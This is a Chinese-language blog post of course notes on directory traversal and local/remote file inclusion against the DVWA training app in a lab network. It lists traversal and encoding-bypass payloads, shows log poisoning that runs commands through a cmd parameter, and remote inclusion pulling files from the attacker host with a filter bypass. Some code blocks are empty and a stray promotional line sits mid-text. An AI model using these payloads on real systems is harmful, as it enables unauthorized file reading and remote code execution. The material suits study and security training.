Kali Linux渗透测试 087 手动漏洞挖掘-目录遍历、文件包含漏洞

本文记录 Kali Linux 2018.1 学习使用和渗透测试的详细过程,教程为安全牛课堂里的《Kali Linux 渗透测试》课程

Kali Linux渗透测试(苑房弘)博客记录

  • 1. 目录遍历和文件包含
    • 1. 两种漏洞放在一起进行测试
    • 2. 设置 dvwa 可以进行远程文件包含测试
    • 3. 漏洞特征
    • 4. 经典测试方法
    • 5. 绕过字符过滤
    • 6. cookie 注入目录遍历
    • 6. 本地文件包含
    • 7. 远程文件包含
  • 2. 漏洞利用
  • 3. 权限配置不当引起的本地文件包含漏洞
  • 4. 远程文件包含漏洞
    • 1. dvwa测试 Low 级别下的源代码
    • 2. dvwa测试 Medium 级别下的源代码
    • 3. dvwa测试 High 级别下的源代码
    • 4. 远程文件包含漏洞的危害
  • 5. kali 自带攻击向量的字典文件

1. 目录遍历和文件包含
    1-1. 两种漏洞放在一起进行测试
    1-2. 设置 dvwa 可以进行远程文件包含测试
    1-3. 漏洞特征
    1-4. 经典测试方法
    1-5. 绕过字符过滤
    1-6. cookie 注入目录遍历
    1-7. 本地文件包含
    1-8. 远程文件包含
2. 漏洞利用
3. 权限配置不当引起的本地文件包含漏洞
4. 远程文件包含漏洞
    4-1. dvwa测试 Low 级别下的源代码
    4-2. dvwa测试 Medium 级别下的源代码
    4-3. dvwa测试 High 级别下的源代码
    4-4. 远程文件包含漏洞的危害
5. kali 自带攻击向量的字典文件

1. 目录遍历和文件包含


1. 两种漏洞放在一起进行测试

kali linux 2018.1 : 10.10.10.131
dvwa:10.10.10.132
原理一样,放在一起进行测试

2. 设置 dvwa 可以进行远程文件包含测试

root@metasploitable:~# vim /etc/php5/cgi/php.ini       
    ; Whether to allow include/require to open URLs (like http:// or ftp://) as files.
    allow_url_include = On
root@metasploitable:~# /etc/init.d/apache2 restart

3. 漏洞特征

  • 应用程序操作文件,限制不严时导致访问Web目录以外的文件,包括读写文件和远程执行代码

  • 特征但不绝对:

     ?page=a.php
     ?home=b.html
     ?file=content
    

4. 经典测试方法

  • ?file=../../../../etc/passwd
  • ?page=file:///etc/passwd
  • ?home=main.cgi
  • ?page=http://www.a.com/1.php
  • http://1.1.1.1/../../../../dir/file.txt

5. 绕过字符过滤

  • “.” “%00” #绕过文件扩展名过滤

    • ?file=a.doc%00.php
  • 使用多种编码尝试

  • url 编码或者进行双层甚至三层 url 编码

    • %2e%2e%2f 解码 ../
    • %2e%2e%5c 解码 ..\
    • %252e%252e%255c 解码 ..\
  • Unicode/UTF-8 解码

    • ..%c0%af ?????? ../
    • ..%u2216
    • ..%c1%9c ?????? ..\
  • 其他系统路径可能使用的字符

    • file.txt…
    • file.txt
    • file.txt””””
    • file.txt<<<>>><
    • ./././file.txt
    • nonexistant/../file.txt
  • UNC路径

    • \1.1.1.1\path\to\file.txt
  • 代码

  • 攻击

  • 结果

6. 本地文件包含

  • 查看文件
  • 代码执行

7. 远程文件包含

  • 远程文件包含

    • 出现概率少于本地文件包含,但是更容易被利用
  • /usr/share/wfuzz/wordlist/vulns/

2. 漏洞利用


  1. 默认的文件包含漏洞的 URL 地址:

    http://10.10.10.132/dvwa/vulnerabilities/fi/?page=include.php
    
  2. 可以使用 “?page=../../../../../../../etc/passwd”

    http://10.10.10.132/dvwa/vulnerabilities/fi/?page=../../../../../../../etc/passwd
    

  3. 文件包含漏洞可以使用绝对路径“?page=/etc/passwd”

    http://10.10.10.132/dvwa/vulnerabilities/fi/?page=/etc/passwd
    

  4. 使用系统文件路径“?page=file:///etc/passwd”

    http://10.10.10.132/dvwa/vulnerabilities/fi/?page=file:///etc/passwd
    

  5. 远程目录遍历 “?page=http://www.sina.com”

    http://10.10.10.132/dvwa/vulnerabilities/fi/?page=http://www.sina.com
    

  6. 可以使用反弹 shell 的方式 “page=http://www.a.com/1.php”

  7. 绕过字符过滤 “?page=file:///etc/passwd%00”

    http://10.10.10.132/dvwa/vulnerabilities/fi/?page=file:///etc/passwd%00
    
  8. 绕过字符过滤 “%2e%2e%2f” 代替“../”

    10.10.10.132/dvwa/vulnerabilities/fi/?page=..%2f..%2f..%2f..%2f..%2fetc/passwdaa
    


3. 权限配置不当引起的本地文件包含漏洞


  1. 修改 dvwa 的 access.log 权限,使其错误配置系统权限

    root@metasploitable:/var/log/apache2# chmod a+rx access.log
    root@metasploitable:/var/log# chmod a+rx apache2
    root@metasploitable:/var# chmod a+rx log
    root@metasploitable:/# chmod a+rx var
    
  2. 使用 nc 插入代码

    root@kali:~/Desktop# nc -nv 10.10.10.132 80
    (UNKNOWN) [10.10.10.132] 80 (http) open
    
    
  3. 浏览器测试

    http://10.10.10.132/dvwa/vulnerabilities/fi/?page=/var/log/apache2/access.log
    

    http://10.10.10.132/dvwa/vulnerabilities/fi/?cmd=id&page=/var/log/apache2/access.log
    

    http://10.10.10.132/dvwa/vulnerabilities/fi/?cmd=pwd&page=/var/log/apache2/access.log
    

    hp index.php 
    

    http://10.10.10.132/dvwa/vulnerabilities/fi/?page=/var/log/apache2/access.log&cmd=id
    

4. 远程文件包含漏洞


1. dvwa测试 Low 级别下的源代码

  1. kali 本机监听 80 端口

    root@kali:~# nc -nvlp 80
    listening on [any] 80 ...
    
  2. kali 浏览器 随便指定一个URL,IP地址为kali 本机

    10.10.10.132/dvwa/vulnerabilities/fi/?page=http://10.10.10.131/a.php
    
  3. nc 接收到请求

    connect to [10.10.10.131] from (UNKNOWN) [10.10.10.132] 36129
    GET /a.php HTTP/1.0
    Host: 10.10.10.131
    
  4. 查看 dvwa Low 级别下的源代码

     
    

2. dvwa测试 Medium 级别下的源代码

  1. kali 本机监听 80 端口

    root@kali:~# nc -nvlp 80
    listening on [any] 80 ...
    
  2. kali 浏览器 随便指定一个URL,IP地址为kali 本机

    10.10.10.132/dvwa/vulnerabilities/fi/?page=http://10.10.10.131/a.php
    
  3. nc 接收到请求

    未接收到请求
    

  4. 查看 dvwa Medium 级别下的源代码,发现被过滤

     
    
  5. 编码中是将 http:// 过滤为空字符(即删除)

    可以利用此机制,使用两次 http:// ,将第二次插入到 http:// 中间
    将 http:// 换位 htthttp://p://
    
  6. kaili.org快来领取随便指定 URL,IP地址为kali 本机

    http://10.10.10.132/dvwa/vulnerabilities/fi/?page=hthttp://tp://10.10.10.131/
    
  7. nc 接收到请求

    root@kali:~# nc -nvlp 80
    listening on [any] 80 ...
    connect to [10.10.10.131] from (UNKNOWN) [10.10.10.132] 55014
    GET / HTTP/1.0
    Host: 10.10.10.131
    

3. dvwa测试 High 级别下的源代码

  1. 正确的代码 URL为

    10.10.10.132/dvwa/vulnerabilities/fi/?page=include.php      
    
  2. 查看 dvwa High 级别下的源代码

      
    

4. 远程文件包含漏洞的危害

  • 在 kali 创建 文件,dvwa 在 Medium情况下

    root@kali:/var/www/html# cat test.txt 
    
    
  • kali 启动 apache2

    root@kali:/var/www/html# systemctl start apache2.service
    
  • kali 浏览器

    10.10.10.132/dvwa/vulnerabilities/fi/?page=htthttp://p://10.10.10.131/test.txt&cmd=pwd
    

  • kali 浏览器

    http://10.10.10.132/dvwa/vulnerabilities/fi/?page=htthttp://p://10.10.10.131/test.txt&cmd=id
    

5. kali 自带攻击向量的字典文件


位置:

/usr/share/wfuzz/wordlist/
/usr/share/wfuzz/wordlist/vulns/


你可能感兴趣的:(kali-linux)